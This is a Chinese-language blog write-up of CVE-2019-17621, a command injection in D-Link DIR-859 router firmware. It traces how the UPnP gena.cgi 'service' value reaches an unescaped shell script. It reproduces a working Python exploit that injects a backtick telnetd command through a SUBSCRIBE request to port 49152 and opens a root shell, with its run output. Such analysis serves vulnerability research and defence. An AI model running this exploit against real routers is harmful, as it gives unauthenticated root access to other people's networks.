美文网首页
CVE-2019-17621 dlink-822/855 命令注

CVE-2019-17621 dlink-822/855 命令注

作者: 飞熊先生 | 来源:发表于2021-04-19 23:18 被阅读0次

    0x01 漏洞概述

    1.简介

    D-Link DIR-859设备LAN层中出现未经身份验证的命令执行漏洞(CVE-2019-17621)
    nist通告 CVE-2019-17621 Detail

    官方漏洞通告:
    DIR-859 :: Ax :: FW v1.06b01_Beta01 and older :: CVE-2019–17621 :: Unauthenticated Remote Code Execution and CVE-2019-20213:: information Disclosure LAN-Side Security Vulnerability

    2.漏洞研究版本

    型号:DIR-859
    固件版本:1.06b01 Beta01,1.05
    架构:MIPS 32位

    3.受影响版本

    image.png

    0x02 firmAE 模拟环境搭建

    用firmAE debug模式直接模拟固件运行环境:
    $ sudo./run.sh -d ./DIR859Ax_FW106b01_beta01.bin
    运行后在debug模式可以直接进入shell,方便调试:

    0x03 漏洞原理

    1. 定位漏洞位置

    首先扫描端口:

     nmap 192.168.0.1
    Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-16 09:44 EDT
    Nmap scan report for 192.168.0.1
    Host is up (0.0066s latency).
    Not shown: 996 closed ports
    PORT      STATE SERVICE
    53/tcp    open  domain
    80/tcp    open  http
    443/tcp   open  https
    49152/tcp open  unknown
    
    Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
    

    查看tcp 49152端口对应服务:

    # netstat -al
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       
    tcp        0      0 dlinkrouter:49152       0.0.0.0:*               LISTEN      
    tcp        0      0 dlinkrouter:80          0.0.0.0:*               LISTEN      
    tcp        0      0 hgw:80                  0.0.0.0:*               LISTEN      
    tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      
    tcp        0      0 dlinkrouter:8182        0.0.0.0:*               LISTEN      
    tcp        0      0 0.0.0.0:63481           0.0.0.0:*               LISTEN      
    tcp        0      0 dlinkrouter:443         0.0.0.0:*               LISTEN      
    tcp        0      0 fe80::2de:faff:fe70:5ba9:49152 :::*                    LISTEN      
    tcp        0      0 :::31338                :::*                    LISTEN      
    tcp        0      0 fe80::2de:faff:fe70:5ba9:80 :::*                    LISTEN      
    tcp        0      0 :::53                   :::*                    LISTEN      
    tcp        0      0 fe80::2de:faff:fe70:5ba9:8182 :::*                    LISTEN      
    tcp        0      0 :::63481                :::*                    LISTEN      
    tcp        0      0 ::ffff:192.168.0.1:31337 ::ffff:192.168.0.2:58450 ESTABLISHED 
    tcp        0      0 ::ffff:192.168.0.1:31338 ::ffff:192.168.0.2:33318 ESTABLISHED 
    

    显然httpd对应多个端口服务,但是49152具体是做什么服务的呢?
    在解压缩后的固件输入指令grep -r '49152',显然对应upnp服务

    image.png
    同时,查找httpd相关信息时:
    $ grep -r "httpd"
    l7-protocols/extra/httpdownload.pat:httpdownload
    services/STUNNEL.php:/* prepare data for http to create httpd.conf (service STUNNEL) */ 
    services/HTTP.php:$httpd_conf = "/var/run/httpd.conf";
    services/HTTP.php:fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");
    services/HTTP.php:fwrite("a",$START, "httpd -f ".$httpd_conf."\n");
    services/HTTP.php:fwrite("a",$STOP, "killall httpd\n");
    services/HTTP.php:fwrite("a",$STOP, "rm -f ".$httpd_conf."\n");
    

    注意到有httpd_conf文件,进入文件系统查看httpd.conf内容,看到这段:

    Server
    {
            ServerName "Linux, UPnP/1.0, DIR-859 Ver 1.06"
            ServerId "LAN-1"
            Family inet
            Interface br0
            Address 192.168.0.1
            Port 49152
            Options { nodelay Off }                                 
            Virtual
            {
                    AnyHost
                    Priority 0
                    Control
                    {
                            Alias /
                            Location /htdocs/upnp/docs/LAN-1
                    }
            }
    }
    

    进入路径/htdocs/upnp/docs/LAN-1,查看文件夹下文件:

    /var/htdocs/upnp/LAN-3 # ls -al
    -rw-r--r--    1 root     0            3954 Nov 24 00:00 InternetGatewayDevice.xml
    -rw-r--r--    1 root     0             920 Nov 24 00:00 Layer3Forwarding.xml
    -rw-r--r--    1 root     0             219 Nov 24 00:00 OSInfo.xml
    -rw-r--r--    1 root     0            5343 Nov 24 00:00 WANCommonInterfaceConfig.xml
    -rw-r--r--    1 root     0             773 Nov 24 00:00 WANEthernetLinkConfig.xml
    -rw-r--r--    1 root     0           12078 Nov 24 00:00 WANIPConnection.xml
    lrwxrwxrwx    1 root     0              14 Nov 24 00:00 soap.cgi -> /htdocs/cgibin
    lrwxrwxrwx    1 root     0              14 Nov 24 00:00 gena.cgi -> /htdocs/cgibin
    drwxr-xr-x    4 root     0               0 Nov 24 00:00 ..
    drwxr-xr-x    2 root     0               0 Nov 24 00:00
    

    注意漏洞通告中的这句话:
    The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root
    能够定位漏洞位于/htdocs/cgibin位置

    2.程序分析

    打开用binwalk解压缩后的固件包,用ida 7.5打开cgibin文件,看到main函数中有gena.cgi的调用:


    进入genacgi_main函数中,大概功能是v1接收传入的REQUEST_URI的值,然后传给v2,之后判断v2前面的值是否是?service=,之后的值传送给v4,v4根据v0接受的REQUEST_METHOD,判断进入那个子函数。

    假设进入第二个分支,进入sub_4100EC(),

    通过snprintf传送给了v6,之后v6进入xmldbc_ephp()。进入该函数:

    计算传入的数据的长度,之后将传入的数据的地址传递给子函数sub_414FB8()



    传入的数据对应地址是子函数sub_414FB8的第四个参数,又作为()的第四个参数传入:


    进入sub_41490C(),可以看到a4->v13,又作为第二个参数传递给sub_41484C(a1, v13, a5)处理,

    image.png
    进入之后发现被send出去,

    查看send各参数含义:
    ssize_t send(int fd, const void *buf, size_t n, int flags)
    但是传送给谁了呢?其实在这段代码就有体现。根据参数对应关系,显然传入的数据?service=XXX中的xxx作为
    snprintf(
          v6,
          0x200u,
          "%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
          "/htdocs/upnp/run.NOTIFY.php",
          v3,
          a1,
          v4);
    

    传送给了run.NOTIFY.php中。
    查看run.NOTIFY.php内容

    <?
    include "/htdocs/phplib/upnp/xnode.php";
    include "/htdocs/upnpinc/gvar.php";
    include "/htdocs/upnpinc/gena.php";
    
    $gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
    $gena_path = $gena_path."/".$SERVICE;
    GENA_subscribe_cleanup($gena_path);
    
    /* IGD services */
    if      ($SERVICE == "L3Forwarding1")   $php = "NOTIFY.Layer3Forwarding.1.php";
    else if ($SERVICE == "OSInfo1")         $php = "NOTIFY.OSInfo.1.php";
    else if ($SERVICE == "WANCommonIFC1")   $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
    else if ($SERVICE == "WANEthLinkC1")    $php = "NOTIFY.WANEthernetLinkConfig.1.php";
    else if ($SERVICE == "WANIPConn1")      $php = "NOTIFY.WANIPConnection.1.php";
    /* WFA services */
    else if ($SERVICE == "WFAWLANConfig1")  $php = "NOTIFY.WFAWLANConfig.1.php";
    
    
    if ($METHOD == "SUBSCRIBE")
    {
        if ($SID == "")
            GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
        else
            GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
    }
    else if ($METHOD == "UNSUBSCRIBE")
    {
        GENA_unsubscribe($gena_path, $SID);
    }
    ?>
    

    注意第二段if 判断,基本逻辑是判断METHOD的种类,之后交给对应函数处理。该处理属于做服务判断然后订阅事件。而GENA_subscribe_new的内容定义在了/htdocs/upnpinc/gena.php中。gena.php中的GENA_subscribe_new定义如下:

    function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
    {
        anchor($node_base);
        $count = query("subscription#");
        $found = 0;
        /* find subscription index & uuid */
        foreach ("subscription")
        {
            if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;}
        }
        if ($found == 0)
        {
            $index = $count + 1;
            $new_uuid = "uuid:".query("/runtime/genuuid");
        }
        else
        {
            $index = $found;
            $new_uuid = query("subscription:".$index."/uuid");
        }
    
        /* get timeout */
        if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
        else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
        /* set to nodes */
        set("subscription:".$index."/remote",   $remote);
        set("subscription:".$index."/uuid",     $new_uuid);
        set("subscription:".$index."/host",     $host);
        set("subscription:".$index."/uri",      $uri);
        set("subscription:".$index."/timeout",  $new_timeout);
        set("subscription:".$index."/seq", "1");
    
        GENA_subscribe_http_resp($new_uuid, $timeout);
        GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
    

    查看GENA_notify_init的定义:

    function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
    {
    
        $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
        if ($inf_path=="")
        {
            TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
            return "";
        }
        $phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
        if ($phyinf == "")
        {
            TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
            return "";
        }
    
        $upnpmsg = query("/runtime/upnpmsg");
        if ($upnpmsg == "") $upnpmsg = "/dev/null";
        fwrite(w, $shell_file,
            "#!/bin/sh\n".
            'echo "[$0] ..." > '.$upnpmsg."\n".
            "xmldbc -P ".$target_php.
                " -V INF_UID=".$inf_uid.
                " -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
                " -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
                " -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
                " -V HDR_SEQ=0".
                " | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
        );
        fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
    

    在fwrite函数,执行的是往$shell_file写入脚本,可以看到$uri $host $sid $host都做了检查。但是在这里:

    fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
    

    对传入$shell_file并没有进行检查,自然通过"`"反引号进行命令注入。但是之前我们假设在genacgi_main进入的是第二个分支,即UNSUBSCRIBE,回顾第二个分支子函数sub_4100EC()中的关键代码:

    snprintf(
          v6,
          0x200u,
          "%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
          "/htdocs/upnp/run.NOTIFY.php",
          v3,
          a1,
          v4);
    

    并没有shell_file的相关内容。再回头查看第一个分支sub_40FCE()的处理函数:

     snprintf(
          v23,
          0x200u,
          "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
          "/htdocs/upnp/run.NOTIFY.php",
          v2,
          a1,
          v3,
          v20,
          "/var/run",
          a1);
    

    $shell_file的对应值正是我们可控传递进的a1的值。

    3. 参数传递过程

    所以我们通过tcp 49152端口传递处理链是这样的:
    data->cgibin->cgibin.genacgi_main->sprintf($shell_file)->send->run.NOTIFY.php->gena.php($shell_file)
    最后在.sh脚本执行rm $shell_file时触发命令注入。
    $shell_file的值正是我们传入的?service=xxxxxx的值。

    0x04 exp利用

    在firmAE模拟基础上,我们直接用研究员编写的脚本:

    import socket
    import os
    from time import sleep
    # Exploit By Miguel Mendez & Pablo Pollanco
    def httpSUB(server, port, shell_file):
        print('\n[*] Connection {host}:{port}').format(host=server, port=port)
        con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
        request += "Host: " + str(server) + str(port) + "\n"
        request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
        request += "NT: upnp:event\n"
        request += "Timeout: Second-1800\n"
        request += "Accept-Encoding: gzip, deflate\n"
        request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    sleep(1)
        print('[*] Sending Payload')
        con.connect((socket.gethostbyname(server),port))
        con.send(request.encode())
        results = con.recv(4096)
    sleep(1)
        print('[*] Running Telnetd Service')
        sleep(1)
        print('[*] Opening Telnet Connection\n')
        sleep(2)
        os.system('telnet ' + str(server) + ' 9999')
    serverInput = raw_input('IP Router: ')
    portInput = 49152
    httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
    

    由于路由器上就用telnet的客户端,启动telnet服务,并映射到9999端口。
    运行exp,运行结果如下:

    
    [*] Connection 192.168.0.1:49152
    [*] Sending Payload
    [*] Running Telnetd Service
    [*] Opening Telnet Connection
    
    Trying 192.168.0.1...
    Connected to 192.168.0.1.
    Escape character is '^]'.
    
    
    BusyBox v1.14.1 (2016-11-24 11:46:19 CST) built-in shell (msh)
    Enter 'help' for a list of built-in commands.
    
    # ls
    root        www         sys         lib         dev
    run         var         sbin        htdocs      bin
    etc_ro      usr         proc        home        lost+found
    firmadyne   tmp         mnt         etc
    

    此时用nmap扫描该dlink路由器,发现已经在9999端口开启telnet服务:

    nmap 192.168.0.1
    Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-19 11:16 EDT
    Nmap scan report for _gateway (192.168.0.1)
    Host is up (0.0077s latency).
    Not shown: 995 closed ports
    PORT      STATE SERVICE
    53/tcp    open  domain
    80/tcp    open  http
    443/tcp   open  https
    9999/tcp  open  abyss
    49152/tcp open  unknown
    
    Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
    

    相关文章

      网友评论

          本文标题:CVE-2019-17621 dlink-822/855 命令注

          本文链接:https://www.haomeiwen.com/subject/nolylltx.html